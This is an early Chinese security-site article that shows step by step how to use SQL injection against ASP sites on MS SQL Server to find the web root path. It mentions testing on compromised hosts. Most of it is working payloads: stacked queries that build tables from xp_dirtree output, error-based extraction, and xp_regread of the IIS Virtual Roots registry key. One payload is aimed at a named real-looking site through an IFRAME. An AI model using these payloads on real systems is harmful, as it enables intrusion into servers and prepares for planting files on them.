| SQL注入路径问题 |
|
| 作者:佚名 来源:安全在线
更新时间:2004-11-14 【字体:小
大】 |
|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 阅读提示:
下午没什么事情 看了看angel写一个路径的问章 找了肉鸡试了半天 费了牛劲了 我发现如果出现 Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '#SharedObjects' 转换为数据类型为 int 的列时发生语法错误。
/html/showdetail_new.asp,行 9 这样他的方法就不能用了 #必须给屏蔽掉 要饭的得到路径的方法 偶也试了更是费劲啊 看看其中一句 我晕~ <IFRAME marginWidth=0 marginHeight=0 src="http://music.ty.sx.cn/html/showdetail_new.asp?id=214302; declare @result varchar(255) exec master.dbo.xp_regread ' HKEY_LOCAL_MACHINE',' SYSTEM\ControlSet001\Services\W3svc\Parameters\virtula Roots', '/', @result output insert into cyfd (gyfd) values(@result);--" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME> 我要晕了 angel方法手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第 一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去! 语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-- 返回:正常的信息!说明建表成功!继续! 语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'-- 返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称! 语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-- 最后用同样的方法测试得到网页目录放在E:\WEB下 臭要饭写的! 1.怎么拿到Web绝对路径? 呵呵?这个问题,花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册?br />碇械玫剑恢萌缦拢?br />HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 利用扩展存储过程xp_regread我们可以取得它的值. EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/' 这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?我的方法是:先创建一个临时 表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。 然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交: DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values( @result );-- 然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) 这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错,让IE返回变量的值,结果是失 败的,所以就想到了建临时表加数据进去的方法!最后我们再删除刚建的临时表。 不要破坏国内主机~lis0在此提醒
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |
| 文章录入:ls1238 责任编辑:ls1238
|
|
上一篇文章: 如何判定肉鸡管理员是否在线
下一篇文章: 当网站不允许上传asp等文件时一个解决方法 |
| 【字体:小
大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
|